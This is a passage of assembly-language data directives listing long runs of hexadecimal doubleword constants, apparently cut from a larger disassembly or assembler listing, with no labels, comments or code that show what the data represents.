5C1F55Fh dd 459E828h, 0E9DD2140h, 2DD15231h, 5E0E97Dh, 4EEBF53Eh dd 0AFF21006h, 0CA037E48h, 6B851698h, 0DDACD4E2h, 6FF93554h dd 0AC2A76DDh, 988BE668h, 304E41E2h, 4CB77FFBh, 1E21090Eh dd 0D0F64B2Ah, 97E90202h, 0C293496Eh, 127DFC40h, 0AB224ED6h dd 0AD9E2700h, 5DE9B494h, 0BA00B5B8h, 3A6865E5h, 0DA50F74Ah dd 1B18BDA4h, 0CF0C0716h, 6AB62F0Ah, 8779D6FAh, 0FD872BB5h dd 9C758C29h, 6A0C2028h, 0F8A1DC9Dh, 7B4B45E9h, 40F2E928h dd 552C6842h, 5167012Ah, 78D0EE3h, 0B74D264Fh, 72765766h dd 0CA7A714Ah, 125AAE4Dh, 0ECE0FCB3h, 1F3BE52Ch, 0B3DED7A1h dd 0C52D83D8h, 151980Ah, 70550D8h, 0A6D22CE9h, 4B56A42Dh dd 984CE457h, 0EF4F4BB7h, 0E9509520h, 9896549Fh, 6F8E13E5h dd 0C53400F4h, 39696308h, 4909CDF8h, 5C720A55h, 38611DE2h dd 95E96005h, 832AA366h, 0A022E8BFh, 3C3DBB47h, 87CCA487h dd 4813A65Bh, 7605266Bh, 9ECAC301h, 0DC446B56h, 298640AAh dd 0E16DE9DEh, 871429B1h, 0FC6882E6h, 8CEB7959h, 0ED8F27BFh dd 57755E0Ch, 128CB01Bh, 0AFDC1236h, 12FD06E0h, 0D782BDE9h dd 152773FAh, 2C33B12h, 0FA9614A2h, 4EB24AD8h, 0A411E816h dd 36BD6790h, 95327E7Dh, 54B067Fh, 4869886h, 3CE999B0h dd 0E199BE77h, 8186223Eh, 0A54AD9DDh, 0B98A187Fh, 8823BED0h dd 0BA00FC9Ah, 6D9C1479h, 40E31EB8h, 0D00141C7h, 7EA1C2E9h dd 5003E7FDh, 5C638BB8h, 7A054888h, 0CAA39C38h, 4AE92007h dd 7C02E8Ch, 0B65206EFh, 0AE5FB4EBh, 0B80487BDh, 0FE01E841h dd 80790A1h, 2CBB55D3h, 3AB6626h, 53D828E0h, 22BE7E1h dd 0EA48FF4Ah, 5E9702E2h, 0D2F74246h, 341DE340h, 310E7E19h dd 13356FBAh, 0C9E0BC3Bh, 2336D435h, 694C30BBh, 1B10F067h dd 841DA01h, 4BB36920h, 64CDFBA8h, 5967437Ah, 4C0465EFh dd 7EE0203h, 61E9A1EBh, 0AD052AA8h, 9297E2D1h, 0D7A942A2h dd 0B728AACCh, 86024214h, 29250676h, 270808F2h, 69D2A477h dd 0C46EEBB1h, 27A8005Dh, 29B653D3h, 0BB5ECB77h, 56879F4h dd 186F4625h, 0E40C855Ah, 7BBDE7A2h, 5EF709BDh, 620B73DDh dd 947C38E9h, 5D19C385h, 0D4AE5385h, 5E08015Dh, 342D8468h dd 4C60C16Ah, 2520C733h, 0E5244FB9h, 87080037h, 0D15E5FF9h dd 21C7DA01h, 807F6DA9h, 2BA64048h, 793618C2h, 0F1C8E06Bh dd 74708AF8h, 4F12CB7Dh, 0E0FE5514h, 0E926D7EFh, 5084998Eh dd 17AE77B4h, 85DAFD0h, 13AA2074h, 8634CAB0h, 4C7093E0h dd 791EB9BDh, 2485890Fh, 1B16DA10h, 0C2A140F2h, 9AAC7FD1h dd 8A2D7994h, 62B2F8E5h, 0C2AFF654h, 0CC80BE9h, 12B8DFF7h dd 0F29F0A94h, 0E7B3154Fh, 88D2D501h, 541F4944h, 172B06DDh dd 0F1F1E907h, 0DF495AD7h, 509944F4h, 1892DD6Fh, 0C29793Dh dd 0FA263584h, 67853D0Eh, 1BA2CE3h, 5B204CD0h, 0E644313Fh dd 7E02A5E1h, 0C98E5B8h, 1B2DF295h, 417156B1h, 0CC7FEC80h dd 44BF76F4h, 5B8198B3h, 0CD88B4B4h, 0F306C50Bh, 3F197453h dd 0E2D31092h, 472578E8h, 27E714F5h, 0C60B4393h, 8899E079h dd 0F5E66617h, 499FD422h, 0DB3EA57Dh, 0CF4AA2FCh, 0B66809E3h dd 0C272C416h, 0FF55EA40h, 72A77475h, 9EA0F653h, 8D717F0Ah dd 7B188B50h, 4D2AE90Dh, 0DC09B3E2h, 18FCEF24h, 127813Fh dd 9B7AE979h, 0BC6F7C2h, 3A71D9A1h, 0CE648EE3h, 0D3FE1702h dd 0F5000E47h, 3D4BF57h, 0B78959B6h, 40E30FCh, 8FE9254Ah dd 0F84B85F8h, 8A5A12FDh, 0F3E83199h, 0CF8EA864h, 0A52B0E32h dd 0E7E04728h, 4E36029Ah, 0AE7EE916h, 3FDF8BFFh, 28999855h dd 65FED09Dh, 0C32C04C8h, 30FAC313h, 8EC4A558h, 74BE2620h dd 0FDD2EA34h, 9DCB6C51h, 6780142h, 20951C98h, 0DB951C8h dd 279D1639h, 3E82F509h, 0C0E458A9h, 16547F5Dh, 1C405239h dd 994B07BAh, 0A4005D7Ah, 0D348BC35h, 80E97809h, 8BBE54A2h dd 39D24BB1h, 6C09C60Bh, 0DF130EA9h, 299FFC89h, 7BB07F67h dd 4692ED1Eh, 48B12FB5h, 68E0304Bh, 11507416h, 0E0A4B9F2h dd 7A326000h, 5FFB894Ch, 6CF7FE43h, 0EFBA1E8Fh, 0CD58D9E4h dd 0C02D7DB4h, 908CCE4Fh, 65CE203Bh, 3F33BB04h, 0EE8554B0h dd 6904D525h, 213F94Fh, 0F52037CDh, 2DF8E40h, 0E24A989Fh dd 3BB98041h, 15DD0A06h, 240B3FBEh, 13DFCE31h, 0C256AAEFh dd 0B14824FBh, 25AEE030h, 2F7A1C0h, 0D6238437h, 24330632h dd 2E091878h, 2FD305h, 844983Ah, 0E7D1307Ch, 0E648E51Ch dd 0FE01A716h, 89B17A13h, 4A717A20h, 643E8C04h, 28C86F12h dd 0E9D3A4EAh, 319A3424h, 4195D5A8h, 33C057F6h, 0DF311210h dd 8E4DE85Bh, 0D6234489h, 18925BACh, 71E32C2h, 810A1700h dd 0FE210EE3h, 0BAC5A015h, 4D021313h, 0FC8DB129h, 0A604605Fh dd 2D6CE919h, 0FC860413h, 5ACAF239h, 40C407A4h, 0F6B55D60h dd 0F9018292h, 85D6089Bh, 0B084DAA7h, 0D470253Dh, 0F9EB2F5h dd 0B5468F5h, 235EE668h, 2D62A069h, 982A095Dh, 0E0C59726h dd 40AA6843h, 827DB619h, 0FD2A415Dh, 958CDAE4h, 0B6E1010h dd 544A0133h, 5F095C1h, 80624BE9h, 32870DEEh, 1305AE3Dh dd 768CD88Eh, 0E8635BF8h, 416ED8E3h, 0FF3E5CD8h, 0CF55615Fh dd 2FE3622Eh, 892A5426h, 0C67093C6h, 0C2808455h, 3006C38Dh dd 8CC4F3F0h, 40E24CA8h, 0B437D15Bh, 0A168004Dh, 0CF739F63h dd 36E6F749h, 0E7F57BF9h, 0EC0EED8h, 29228E36h, 8061CDAh dd 19926EE9h, 656BF49Dh, 42EB8B2h, 0D4F6CCFEh, 1D2215E8h dd 0BCA55D95h, 955E04Ch, 5E4FF277h, 90A2DD96h, 38F90056h dd 8EBE1730h, 3D126EDDh, 0DE09D601h, 5F046243h, 7BAF3DFBh dd 205B936Fh, 0E6C14686h, 0B4F6C2A0h, 1E398202h, 0D92644E9h dd 0E125BFD8h, 7038FBA9h, 0BB8067A8h, 98539255h, 3DB205ABh dd 0C7293691h, 8A40B563h, 0FD874BB8h, 13EC5BE4h, 0C4EEB060h dd 3E5F5405h, 5B00298Bh dd 2D66D245h, 86075DEEh, 1611254Ah, 8C032045h, 0D2A47094h dd 37037F31h, 0EA8421B0h, 50339FA6h, 0E3810B2Ch, 6CB17A53h dd 0B7847146h, 5692967Bh, 6000B5FFh, 608225CDh, 0BD7EE0E3h dd 4D12A253h, 0F7C9C322h, 9E6BB26Ch, 96E87F11h, 0FC82DFB0h dd 0D76868h, 64E62347h, 1BB8F501h, 73D70882h, 0BE0F0455h dd 851684C8h, 78A9F207h, 1D289B20h, 81E1ED80h, 0F36859EAh dd 6A42244Ah, 0E5219261h, 8CDC0F5h, 0F2B7CDD8h, 28A02FC5h dd 2A4B20D0h, 36263AE1h, 6B3B680Bh, 0C05AFB74h, 2D3E5A61h dd 0A0D650E5h, 218408A0h, 5C305258h, 0DE29125Ch, 0A3854312h dd 0E9C274B2h, 26CA40FDh, 90D97ADFh, 5438133Dh, 0C2E104BDh dd 0EB90F48Bh, 0F16B9741h, 15D301FDh, 39B82B68h, 0E7F072C9h dd 489C7D95h, 0E916297Ch, 0AA281624h, 4AE1F856h, 8556F87Bh dd 31806850h, 1C58738Ch, 0C0D6F796h, 906F4205h, 0C74A2184h dd 0E7B006ACh, 493E1E97h, 0B0C70316h, 2665F910h, 1604770Ch dd 6ED9EE91h, 0DF52A800h, 0BA1D607Dh, 362E49BFh, 89CDE92Dh dd 0A8CDDFFAh, 0F763A68Ch, 35F0CEDh, 0D0CB337h, 1E17E06h dd 8258FD29h, 8BD30508h, 68BE20EAh, 12971FFBh, 0F4D4752Ch dd 2FF6D6ADh, 7FA5F915h, 3488A0E7h, 135116E6h, 50360661h dd 0E269C259h, 0B016F80Fh, 40914976h, 143C7687h, 186FC05Ah dd 3D02A023h, 79D9CB81h, 0F3AA8058h, 174E042Bh, 0FA3EE973h dd 0EED1624Eh, 0B2BA32BEh, 0A66809F7h, 1DC3076h, 31D39703h dd 902F2608h, 565F1E3Ch, 0B07019C9h, 270B1E54h, 57582E3Fh dd 96123504h, 88BB112Fh, 80B88019h, 165B2C48h, 84BDE4EEh dd 7E7AD09Fh, 0F58DBC2Dh, 59E16B3Bh, 26402E43h, 3A1967DAh dd 2CFA5A01h, 1114109Bh, 592646Ch, 9C50547h, 0CB03C6E8h dd 17AB6108h, 3E715E05h, 63C046F4h, 639A6ED0h, 491A2430h dd 76E97CF0h, 0F7369448h, 0CAAF0264h, 0E744C8Fh, 72B753h dd 0E5305BFCh, 60682758h, 0E989CCD1h, 2110E079h, 5921B7EBh dd 8B2A2D68h, 59A2DDEFh, 0F82189EDh, 0C2098F30h, 0F74FE917h dd 512F3161h, 1670353Ah, 0D9CAFBB0h, 3CA1EAD3h, 0BF5F13C4h dd 7F4ED2A0h, 0F6F83DEEh, 53F4C9B2h, 7B6F430Bh, 0A67E8F29h dd 0A8AB69EAh, 9A6BFC21h, 0BC5A5AF4h, 5EC2B079h, 31CF0A60h dd 20E7F201h, 0D290F908h, 7CBF0297h, 7D3E1073h, 4C10E69h dd 0B9530B1Dh, 0D03064F1h, 8E6815C8h, 0A4279E40h, 60FF4E62h dd 0E16C25C4h, 0DA4EFFC2h, 53026817h, 89808434h, 0E2796309h dd 9C0E05BEh, 0E829E6E9h, 0B7EE3B1Dh, 97C7317Ah, 0B2AF139Eh dd 776DC68Eh, 8EBF041Ch, 0D1A3D437h, 50FD31CEh, 391468E1h dd 0E961C1BBh, 9368AC53h, 0C74CFAD0h, 20FE5A16h, 7179EEA2h dd 0CE816D07h, 0BD40452h, 0C69340FBh, 19942ED3h, 0A11AF0BDh dd 0F98960FDh, 0B2FDE830h, 18D2F595h, 342D68BFh, 9E24919Ah dd 6D084855h, 0CB01592Ch, 20CD22F6h, 7703A220h, 273EB844h dd 0DC515CAEh, 0F660A46Fh, 484DE4BBh, 2AF2494Bh, 93B2884h dd 0ED5E50h, 434A177Ah, 0CAF3018Fh, 2FBA088Dh, 6CB9DABCh dd 54A68673h, 0BDA44D69h, 0B35D8B27h, 0EA4EF293h, 6609C19Fh dd 17B47760h, 9C4FE8Bh, 0C45D5B0Fh, 520609C0h, 8077600Eh dd 975EC509h, 4D19F815h, 0B086A97Dh, 96EAD953h, 2C340C16h dd 8B68BE0Eh, 1741DF64h, 5F33EF3h, 8C418B2Ch, 1AB75A45h dd 2840F55Bh, 124115C6h, 3A572768h, 86090666h, 602E2D3Ch dd 1CF781F3h, 0E7C25ACFh, 579F0178h, 0E01D1304h, 5E59F21Ah dd 5604965Ch, 0FAF797AFh, 0AB65347Bh, 90F41C16h, 68550126h dd 4CDE2D83h, 0CB5AB82Fh, 0B7F5D8BEh, 4B2D74C0h, 8B0CC905h dd 0FCBC631h, 9E4C05Fh, 0E97C1C5Fh, 0EB27EA5Ah, 2E7082h dd 0E7CF8147h, 0DCDA3430h, 7EAA2C7h, 0FB890733h, 762ABE9h dd 0F51C8955h, 7DF47D6Ch, 0C6E0FB54h, 0C3EE00B5h, 9064336Bh dd 0A2E913F2h, 166FF46Ch, 682CE861h, 6A230A50h, 22A3E14Fh dd 7E1C2DBAh, 5097D205h, 0D7AF6889h, 95B62E4Ch, 1BCEFFA0h dd 2B61E9D0h, 0DB6F7D3Fh, 0ED8D43A4h, 9D203039h, 1074B5F0h dd 0BC345BF3h, 4A1CA167h, 0AED38829h, 7A1C2FA5h, 91B3A153h dd 2941BE00h, 3A7AE524h, 8C4F7043h, 0B9D090AFh, 3565AA59h dd 0A2BB5E9Eh, 49B8D2CDh, 0FC8AFED3h, 0B3098312h, 0F44F4E94h dd 150ECF5Fh, 165B3D0Eh, 62FED821h, 0CD48C3ABh, 79179D68h dd 0C1004342h, 7F5F8EF1h, 0ABC89F40h, 761F82E1h, 85FC5A6Fh dd 0BDD305E5h, 6191C7ABh, 7A6C60F0h, 74019F8h, 1D0349E9h dd 0B3D6572Dh, 85050C30h, 55750436h, 0FE253C2Dh, 31AB03C1h dd 6882D838h, 21666CB6h, 41565458h, 8760891h, 83C0215Dh dd 16915EA2h, 9070144Eh, 0A0727EAAh, 6BE6317Bh, 95B83FE1h dd 0E727E9B8h, 0CAB35C54h, 604A035Ah, 0B128BBDh, 0F5EFDD29h dd 9FC6AA8h, 0FC3F0841h, 35CD516Ah, 0A1822A77h, 25D15C10h dd 0A73A6557h, 0B812B0D7h, 3874B09Ah, 6A89350Ah, 2A8054ECh dd 0B92FBE05h, 450A905Bh, 808188E3h, 0D1F6F8E1h, 0C18343D6h dd 0C98F0C9h, 28960601h, 0BEFDCC4Ah, 3E620CC6h, 83B9BE4Bh dd 0D2D1C74Bh, 565D4D55h, 0BF80C914h, 2B7D023Fh, 51A230F3h dd 558B680Dh, 1C61564Ch, 1E55CFAFh, 52569C81h, 28430C3h dd 516DA768h, 0AF839317h, 0C1551788h, 0A9596D82h, 6890FD0Fh dd 40B95B34h, 89E23D16h, 22D6D9Ah, 0A42F0B9h, 9D65D69h dd 77A553A4h, 5CE0C945h, 12A1F381h, 27A385Fh, 5817E9A9h dd 0AC21E7C5h, 0A46716h, 3EE70BF3h, 1A802D5Bh, 32A76214h dd 0A6670DB8h, 4F01B98Bh, 0B3201204h, 0D4C1D38h, 885E4916h dd 522D69E6h, 438DABAh, 0FAE9D129h, 457AB1Eh, 0B5CC935Eh dd 3F69989h, 76BF7916h, 85ED5D56h, 101DEDE8h, 0BB02AAE0h dd 445A1C3Fh, 46EF765Fh, 2497804Bh, 3482CAB6h, 57FA5F86h dd 7DD5529Dh, 229F495Fh, 2D40ED4Ah, 0A4144C5Ch, 0D4DA9DA4h dd 0D1AB294Bh, 6FAC181Eh, 0BF67ACCh, 4171022Dh, 4F270055h dd 12F71DB3h, 0EF59E9D5h, 0A3EB0B13h, 3684860Ch, 0DB829FA3h dd 40932F7h, 541EA50Dh, 7B07A3DFh, 0D2251275h, 0C0542153h dd 8CB88793h, 1C065109h, 16CD1E82h, 3E150009h, 0B82FD6ADh dd 90C02015h, 4EA5804Ch, 0DAFFCCBBh, 0CCD1124Eh, 9D2E7874h dd 7C127402h, 49EE7F02h, 25D20E9h, 5DF0574Fh, 6E8E7197h dd 0ED01EFC5h, 68AF12A9h, 9BEACE4h, 29FE1FD7h, 5FE59CC0h dd 976FEABCh, 0B23B18F1h, 0F1F7C0BEh, 97442768h, 36C50646h dd 30BE35DDh, 371A38D4h, 546145Ch, 25997F30h, 0A8888604h dd 2C93D5A8h, 512668B8h, 5667E15Ah, 0FC2B2590h, 0ECE9D262h dd 0DEF526DCh, 0A761CC40h, 21F2C20Ch, 4E05306h, 0BB80E494h dd 48B7F6E2h, 0BF01A856h, 0E927901Bh, 0C8C42F04h, 0E1CFECFAh dd 0A12B0AE9h, 0E6A83B1Bh, 7D7150E1h, 5971037h, 10C4582Eh dd 4BFB4818h, 0A227DCE6h, 79763A5Fh, 5AF76002h, 3160EC33h dd 0A306250Ch, 52E91A17h, 0DB5573A0h, 821ACACDh, 429B6878h dd 432971C8h, 0D3BC2F4Bh, 0D72C3058h, 53622577h, 0C2D6F177h dd 835E79E9h, 77655727h, 7A7F8989h, 0BED2BD92h, 0AD55749Fh dd 74186922h, 7E0A0500h, 0AB22483Ch, 5EE6CC40h, 0AD00B130h dd 658E79D2h, 0E905C8BEh, 484E1535h, 0FD01DBC1h, 57E6983Bh dd 0F5478541h, 6AD80F1Eh, 68412D44h, 19633C6Eh, 52F9B30Fh dd 0EC3F8564h, 7B1C0A8h dd 25E9CC88h, 0C65D99C5h, 60D20FB5h, 98C42253h, 40F6B54Dh dd 0DA07FFA4h, 0F488295Fh, 8841B868h, 0B96118A5h, 897DE92Dh dd 555B4A95h, 0C19082D8h, 3FDA69h, 44097AFBh, 7EBE341Fh dd 4072820Bh, 5171B800h, 6FDF98BBh, 5E90B75h, 400F8AAh dd 814F7F95h, 0AD91EF62h, 9110750Dh, 5D634068h, 179E08Fh dd 0B353500Ah, 30DC88BFh, 0F35BAEBFh, 6E1379BBh, 5E8F3CE6h dd 6ECD61D8h, 0A2CCD7DEh, 4F5E173Dh, 8590A22Ch, 0D8350DB5h dd 52663007h, 77D15127h, 0F741EA88h, 5AF1D708h, 0B2E4806Fh dd 0F23980D2h, 56EFA6D6h, 0D5FBF83Fh, 0CCF7F05Ah, 12CE5166h dd 63ED0771h, 0EB0BFE17h, 0C6B383D7h, 0E5773B49h, 41CF7E96h dd 9A68D815h, 1A3A7647h, 0FF10155Bh, 872CCBF2h, 3501A7EEh dd 12AEB67h, 1316E33Ah, 0EEF16FE9h, 0CBA7E62Ah, 3F97D55Ch dd 8133680Ch, 13B44AE9h, 0A307AFE6h, 0EC57DC28h, 1CC55B57h dd 88C0FDACh, 875CE9E7h, 414914C0h, 1D27E181h, 0ED5B7C4Ch dd 0D02554D1h, 4DB02029h, 82A01090h, 0C23F538Dh, 81E20173h dd 84A71EF2h, 66895489h, 0BB7ED22Bh, 7DF73B09h, 89527779h dd 4442DF88h, 6F555861h, 9C90CDE9h, 0CB175C30h, 6025742Ch dd 5947F3Ch, 0C33D7D1Ch, 814A4200h, 22124DCAh, 2501541Eh dd 0E9E3C7D7h, 5083B6C8h, 626B6866h, 0CFEE43A6h, 2627165Eh dd 7945ADF2h, 0E7428856h, 0CD89511Dh, 0AF94F557h, 7812F5F5h dd 22EC5B09h, 0F9FF5DB2h, 0E9FE82D3h, 0FB7E2B41h, 3C2468E1h dd 5334EB33h, 20AAC45Ah, 0F87118A5h, 8EC71D4Ah, 0D22F08EAh dd 0C3833506h, 9F92AA1Dh, 0D0835E1Ch, 925935E9h, 12B54C33h dd 38BF85ECh, 0FE25689Eh, 675A5E71h, 0DB560B10h, 7DBA9763h dd 1676253Ch, 57F9C39Bh, 95E0DAB6h, 0DE263B1Eh, 51E720Ah dd 4113F59Fh, 0FD234FC7h, 203A1E74h, 0C58F56F0h, 88E1ABBAh dd 6269713Eh, 0B58305D3h, 0FE77C1EBh, 0BB81423Ch, 60E50A99h dd 23415AD9h, 5BD47731h, 0F0415B1Dh, 76E47FA4h, 0AB5AB4B8h dd 1D0FB430h, 0F1145EB9h, 0FA0704C9h, 97B0FAF8h, 114DA95Eh dd 0C24873B1h, 7333308Dh, 252329EFh, 46FDECD5h, 0AC62E14Ah dd 2C313610h, 0F60115D1h, 1080250h, 0F82F2535h, 818AC547h dd 14F04389h, 3A594C35h, 0B2682776h, 0E0C05566h, 7CA94EBAh dd 52D602F7h, 0FA13E953h, 0DD6918FDh, 160B2632h, 0FECD166Dh dd 0E4EF5F8Ch, 0E82AF9FAh, 0B1AAA4B8h, 5DB62F0Bh, 4B09EE2Dh dd 0D0C7515Fh, 269C9B2Eh, 0B9606Ch, 68F26E74h, 4759CF31h dd 30A95E9Dh, 503DE908h, 1D7FC597h, 1B76EF8Bh, 35F9615Ah dd 49705E26h, 4685F132h, 106DA474h, 6B9567BCh, 0C2881212h dd 0D9A5C0BEh, 52EE5A5Bh, 0E09B5D6h, 0F6B948A0h, 4F9A3D5Dh dd 91522192h, 816C7714h, 5B1ABF22h, 0E53B25B2h, 570C9C8Ch dd 41FD817Eh, 7C3140BEh, 8B5FD084h, 4AB7AB1Ch, 251DF3CAh dd 7D5A28DCh, 0FE756E4Ah, 69E750A3h, 0AFE9DBB5h, 0B5D016FDh dd 93B56D02h, 68C2765Ch, 0AB5D05F0h, 0E9C20EE2h, 59DF6D7Ch dd 0E10AC25Dh, 0F8810104h, 83891341h, 0A4225BDAh, 2D003FA6h dd 4EF16794h, 0BC8ABA4h, 0E2A02FE9h, 5F75FE20h, 1632D76h dd 5E089Eh, 5057040Bh, 871F7CB8h, 22E94312h, 0FB4AE5F8h dd 0FF5BEBDAh, 0E0A7572Dh, 9723657h, 5FA96859h, 512CE46h dd 0A5007B41h, 2051C7EEh, 8C409537h, 233E0C3Bh, 16E68261h dd 55082813h, 0DC2C218Ch, 0CB5AFE14h, 5CAC04D0h, 0F1BD696Eh dd 0A44B4913h, 6F1DB34Dh, 55A522B9h, 14FD72ABh, 0BE5D4A51h dd 0AC2F2CC9h, 53086061h, 916BFBBh, 0AAE949C3h, 0B760E32Fh dd 80DFF632h, 67DCF33h, 0B9E7B171h, 0B8DABC70h, 6A3945ACh dd 0B3C72DE9h, 82D804D9h, 0B89B8734h, 634A15C1h, 0A25AC934h dd 5A39F454h, 4BEB1EFAh, 5952C14h, 0FEE00F0Dh, 20226201h dd 0E7F03702h, 7407026Eh, 0F473E944h, 8B1D565Fh, 237EB603h dd 33574C00h, 0A0CE8725h, 967AE990h, 176816FAh, 0C8198C4Bh dd 6CDE431Eh, 79C6C039h, 78802F8Dh, 547F8B02h, 94D580Ch dd 5120AD03h, 15643200h, 0D002C73h, 79C5971h, 540412Dh dd 0E955543Eh, 4AF8EC2Fh, 179FDCA9h, 587D4317h, 0FFC2652Ch dd 80009550h, 0B353D3F7h, 12B652B7h, 49F3282Bh, 0E88450D0h dd 0DD580B69h, 7FAD48E5h, 28A05D16h, 0E0170D59h, 0BB14837Bh dd 74650001h, 23E93573h, 7C56DBECh, 6A896EB9h, 24E13490h dd 19692E05h, 0F7BF40ECh, 3467C2E9h, 3274E85Dh, 0AA4B28FCh dd 0FB4F788Fh, 0F22A623Dh, 2DAA1753h, 0CE72CCAFh, 146FE9BFh dd 7679FB2Eh, 8B10D279h, 24683FF1h, 5BD0DB66h, 4EE91352h dd 59CBBAA8h, 0CB44FA4Eh, 66982D5Fh, 272EB22Eh, 0A1DE6668h dd 3916BD6Fh, 210E6CFAh, 0C7807F9Ah, 0FD093DAFh, 96D6316Ch dd 0F75613BFh, 0D4A1D61Ch, 34AF515Eh, 61A8F3CBh, 0B1563F50h dd 0EA028A28h, 271F594Eh, 0F7036075h, 0B6F8A0D2h, 7A8265Bh dd 7D2F0889h, 57156E24h, 124E7D5Bh, 16EEFB13h, 0B31EBC29h dd 680C0983h, 98DE17D1h, 0B39F62h, 967FEB81h, 4AD5AA3Fh dd 0CACFC280h, 7471045Eh, 0E732D0E9h, 0C8C46706h, 5A0D39C2h dd 6594073Ch, 99011A72h, 5727EBFAh, 0A8C35BC5h, 5EA09CBh dd 0A68E3827h, 483BBCB2h, 48860AB2h, 1D3EAF29h, 3F5F35E7h dd 522B863Fh, 61D8545Fh, 64E90D2Dh, 0F4453B49h, 5FEB1F71h dd 0D26F4ABCh, 0FDF62F6Eh, 5D6B18B1h, 92FDAD7Eh, 473A08CDh dd 52BB140h, 0E121FECBh, 0C153F7E7h, 13EFF58Ch, 812BFBAh dd 0D90D46EEh, 0B90722D5h, 2CCD1393h, 3292AFA4h, 9ED8FF66h dd 0D9E8872Fh, 283645Eh, 0EC2B8AE9h, 349D0B86h, 0F273A0Dh dd 0EA9F0AEh, 0B095E831h, 95FC3B5Fh, 249D9CD5h, 607D4025h dd 0E7B55153h, 804EB300h, 0EB2893C3h, 2EC025E9h, 2F42645Dh dd 0C55425BFh, 6C94F77Ah, 0A3E3DFC4h, 32F58100h, 0CA5E63F2h dd 1EFC04AFh, 5EA7BD50h, 0CAF12F5h, 0E9251E7Ah, 5828C1D5h dd 0E082EC7Bh, 2F3CDBE9h, 0FE7C7869h, 5D5A08A0h, 53B159ECh dd 34E7108Ch, 61D22C54h, 0CBFD0204h, 5AC29731h, 3A412760h dd 0FBB80176h, 3E580881h, 68826CB3h, 1D6C1D9Fh, 5855F526h dd 0D2A1984h, 0B5122DBCh, 2428EF5Ch, 0E9534016h, 0E9276ED7h dd 2829B83h, 6580510h, 825D2CFBh, 0DCCF2148h, 2A440EA0h dd 2A5622CBh, 64F03113h, 2530072Dh, 60480C56h, 890AA959h dd 74C5292Fh, 5C4856A9h, 6D48022Ch, 7F295D21h, 0B480CD16h dd 0E6041223h, 0C8315B43h, 3BFAEDBAh, 425027ACh, 61F302B4h dd 69A0FE68h, 948F977h, 0DB552A91h, 7215BE1Ah, 0EE0295F6h dd 0F1A5B33Ah, 8424F45Ch, 0FE0FAB13h, 7FF3E036h, 900E6F6Ch dd 373B07ECh, 0F2511D5Fh, 0BF045BECh, 3209E1FAh, 0DBA55E00h dd 8509B82Eh, 0A6EFDD91h, 3E2F7BACh, 0C2BB7965h, 335DE0C1h dd 0A3E54B9Eh, 0C7298291h, 0C10CBA97h, 6063AC69h, 522E55D4h dd 0A557C73Dh, 0E86BE1ADh, 0F9ED20B9h, 0E049D941h, 613EF181h dd 0CB2997D0h, 5D09A7C2h, 0E3689B48h, 0FF704295h, 7DC97A79h dd 5B483552h, 28E1787Ch, 16583FD5h, 81D09549h, 5E29DC2Ah dd 7AAB034h, 7E647916h, 5FE9B9E0h, 0CA32901Fh, 0ED5C7A8Bh dd 38C2003Dh, 0F762C430h, 0BD5502DAh, 5CD10393h, 1A57341h dd 8DDCFB29h, 8A7C95C2h, 0D96852C0h, 0BC06B919h, 270A261Ch dd 0F64DBADDh, 7C7E80EAh, 0F3E9687Ah, 6B63AF5h, 736FF258h dd 906B0CD3h, 26A05C0Eh dd 7D304110h, 1DB5C443h, 0CC6658EDh, 4D04E23Eh, 0BE52722Fh dd 532042C4h, 0C06809E9h, 2106C285h, 6EB074CCh, 0A8B2DABFh dd 5E8CE961h, 0A36257Dh, 0BC7A97B0h, 0AEF3BB17h, 1DE5DBC9h dd 0F712FB3Ch, 994F54D0h, 8B99EA01h, 0CDE94637h, 0A154A67Eh dd 0E425AD28h, 7950C428h, 9C677A56h, 40C7C206h, 6065D4F6h dd 0E38649FFh, 0C2BF4577h, 6B5A7793h, 0FD7D170Fh, 9C796534h dd 2F7BF38Ah, 2C5D44FBh, 1B16C0E2h, 0C1B192Ch, 24FC74F8h dd 52D64AC1h, 18AD4ED4h, 26A610FCh, 4FA29312h, 0A8BC13Ch dd 1AE64268h, 51B744B0h, 6E600D43h, 0C59D8C3h, 7FF6C072h dd 0A5FC4F5Ah, 0E9E0B4E4h, 360BE84Bh, 2FFED258h, 53FB6CEBh dd 0E2308B03h, 430C0E5Dh, 0FFD650DAh, 0DEBF1E12h, 32BD4B9Fh dd 50391CE2h, 5E0E7830h, 0DDA8A2E2h, 0FE8B0EA6h, 3F1798Fh dd 268D726Bh, 0D878ACE2h, 782B68E8h, 0B6019638h, 8C9E937h dd 31E392Dh, 18C52E0h, 0BA47B162h, 0EAD47F2Fh, 4BF0812h dd 0A1D0E9CBh, 7FC86A35h, 0EE555A5Dh, 0B77A8569h, 74C9274Eh dd 7BF26153h, 0B75620CBh, 0D697FCB2h, 662DC94Bh, 9FB76A1Ah dd 0D05F2913h, 32766897h, 58D065C9h, 3F749F25h, 0B781E4C9h dd 0B353CD83h, 50D3F6A8h, 51FEB40Fh, 0AC0C32B1h, 0E88020EFh dd 24419F38h, 36E07E20h, 0F75A4B3Fh, 0C6497BBBh, 77BA02ABh dd 86651631h, 970D739Eh, 55D419C1h, 4F0B819Dh, 81AA0491h dd 4C5721E0h, 1A03B48Ah, 0F6C4CC80h, 0E9E4A9D4h, 3F0D61h dd 2527B8ABh, 0A1E61A11h, 5BA661Eh, 74407B00h, 3FD72D31h dd 0E90CBC50h, 2C9E1C30h, 0D0BCAB4Ah, 0AF17C285h, 6D949477h dd 64008809h, 0D0285B58h, 57955A70h, 899F5E16h, 210224B7h dd 4A1470D1h, 9A78D12Fh, 5800482h, 7BC5D34Bh, 7E7420D9h dd 94F5B5A0h, 2F12CC97h, 6B1EEB53h, 0F37D9625h, 52E909AFh dd 592616D8h, 0ED313E55h, 6C6CDD31h, 30BA52C4h, 310FBCEBh dd 0C00C4666h, 2E1BC912h, 80637E5h, 214820Ch, 673C3ED6h dd 1D55AC1Dh, 892C190h, 0DDE9F501h, 0BD968352h, 0B57C1737h dd 52A08F85h, 1F6EE349h, 33FBCC93h, 6116B468h, 0E01A2A69h dd 0E5080B94h, 6ACD882Bh, 39538D88h, 0D1EB34F6h, 33B9FA72h dd 0DDD304F4h, 4B4F144Dh, 5F48E8E9h, 0B50B247Dh, 2CF7BE42h dd 809742ABh, 814D58C5h, 4C0C55EDh, 2201C8F8h, 8D34FD0Ah dd 0A0025FE7h, 0FB2D676Eh, 0E98D010Bh, 8D92377Bh, 2AFD82EBh dd 0FEED3ADFh, 0ECCD8911h, 4E0BFE1Bh, 76A315E7h, 0C14E040Ch dd 0CEC0C0EEh, 9D286FEDh, 9BDA40Fh, 3EF0DFDCh, 10256531h dd 0C27E57B1h, 69405208h, 0F632EA86h, 0F1C222D5h, 0B5FA5ACh dd 